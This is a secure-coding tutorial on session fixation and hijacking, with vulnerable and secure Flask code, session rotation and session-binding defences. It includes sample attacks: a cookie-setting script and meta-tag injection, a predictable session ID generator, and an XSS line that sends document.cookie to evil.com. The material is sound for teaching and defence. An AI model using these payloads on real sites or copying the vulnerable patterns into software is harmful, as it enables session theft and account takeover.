Session Fixation and Hijacking

Session Fixation: Forcing the Victim to Use the Attacker's Session

Session fixation is an attack where an attacker sets a known session ID in the victim's browser before the victim logs in. When the victim authenticates, the server associates the attacker's chosen session ID with the victim's authenticated session. The attacker, who knows the session ID, can now access the victim's authenticated session.

How Session Fixation Works

Attack flow:

1. Attacker obtains a valid session ID: The attacker visits the application and receives a session ID (e.g., session_id=abc123).

2. Attacker fixes the session ID in the victim's browser: The attacker uses one of several techniques:

   • URL parameter: https://example.com/?sessionid=abc123 (if the application accepts session IDs in URLs)
   • Cross-site scripting: Inject JavaScript that sets the cookie: <script>document.cookie='sessionid=abc123'</script>
   • Meta tag injection: <meta http-equiv="Set-Cookie" content="sessionid=abc123">
   • Network injection: If the application uses HTTP, the attacker can inject a Set-Cookie header into the response

3. Victim logs in: The victim authenticates using the fixed session ID. The server associates abc123 with the victim's authenticated session.

4. Attacker accesses the session: The attacker uses abc123 to access the victim's authenticated session.

Why Session Fixation Succeeds

The root cause is that the application does not issue a new session ID after authentication. The same session ID that was used before login is used after login. This allows the attacker to "fix" the session ID before authentication and use it after.

Vulnerable code:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # VULNERABLE — does not regenerate session ID
        session['user_id'] = get_user_id(username)
        return redirect('/dashboard')
    
    return 'Invalid credentials', 401

Secure code:

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    
    if verify_credentials(username, password):
        # SECURE — regenerate session ID on privilege change
        session.regenerate()
        session['user_id'] = get_user_id(username)
        return redirect('/dashboard')
    
    return 'Invalid credentials', 401

Session Rotation Best Practices

Session IDs must be regenerated at every privilege level change:

1. After login: The most critical rotation point
2. After password change: Prevents the attacker from using a previously stolen session
3. After privilege escalation: When a user gains admin access
4. After re-authentication: When a user re-enters their password for a sensitive action

@app.route('/change-password', methods=['POST'])
def change_password():
    user = get_current_user()
    
    if verify_password(user, request.form['current_password']):
        user.password_hash = hash_password(request.form['new_password'])
        user.save()
        
        # Regenerate session after password change
        session.regenerate()
        session['user_id'] = user.id
        
        return 'Password changed'
    
    return 'Invalid password', 401

Session Hijacking: Stealing and Using Victim Sessions

Session hijacking is the theft and use of a victim's session ID. Unlike fixation (where the attacker chooses the session ID before login), hijacking involves stealing an already-authenticated session ID.

Session Hijacking Vectors

1. XSS (Cross-Site Scripting)

If the session cookie does not have the HttpOnly flag, an attacker can steal it via XSS:

// Attacker's XSS payload
fetch('https://evil.com/?c=' + document.cookie);

Defense: Set the HttpOnly flag on session cookies. This prevents JavaScript from accessing the cookie.

2. Network Eavesdropping

If the session cookie does not have the Secure flag, it can be intercepted over unencrypted HTTP:

# Attacker captures unencrypted HTTP traffic
GET /dashboard HTTP/1.1
Cookie: session_id=abc123

Defense: Set the Secure flag and enforce HTTPS. Use HSTS to prevent downgrade attacks.

3. Session Prediction

If session IDs are generated using a predictable algorithm (e.g., sequential numbers, timestamps, or weak random number generators), an attacker can guess valid session IDs:

# VULNERABLE — predictable session ID
import random
session_id = random.randint(100000, 999999)  # Only 900,000 possibilities

# SECURE — cryptographically random session ID
import secrets
session_id = secrets.token_urlsafe(32)  # 256 bits of entropy

Defense: Use secrets.token_urlsafe() or os.urandom() to generate session IDs with at least 128 bits of entropy.

4. Session Sidejacking (Firesheep)

An attacker on the same network monitors unencrypted Wi-Fi traffic and captures session cookies from HTTP requests. The attacker replays the cookie to access the victim's session.

Defense: Enforce HTTPS for all pages (not just login). Set the Secure flag on all cookies.

5. Cross-Site Scripting via Subdomains

If the application sets cookies with Domain=.example.com, an XSS vulnerability on any subdomain (e.g., blog.example.com) can steal the session cookie for the entire domain.

Defense: Omit the Domain attribute to limit cookies to the exact host. Use separate subdomains for different applications.

Session Binding

Session binding associates a session with additional client characteristics to limit the impact of session theft:

IP Address Binding:

@app.before_request
def check_session_binding():
    if 'user_id' in session:
        if session.get('ip_address') != request.remote_addr:
            session.clear()
            return redirect('/login')

Limitations of IP binding: Users behind NAT, mobile networks, or VPNs may have changing IP addresses, causing false positives.

User-Agent Binding:

@app.before_request
def check_user_agent():
    if 'user_id' in session:
        if session.get('user_agent') != request.headers.get('User-Agent'):
            session.clear()
            return redirect('/login')

Limitations of User-Agent binding: User-Agent strings can be easily spoofed by attackers.

Device Fingerprinting:

• Combine multiple signals (IP, User-Agent, Accept headers, TLS fingerprint)
• Use a risk score rather than a binary allow/deny
• Flag suspicious sessions for re-authentication rather than blocking them

Practice: Implement Secure Session Management

Implement a secure session management system that:

1. Generates cryptographically random session IDs
2. Regenerates the session ID on login
3. Binds the session to the user's IP address and User-Agent
4. Implements idle and absolute timeouts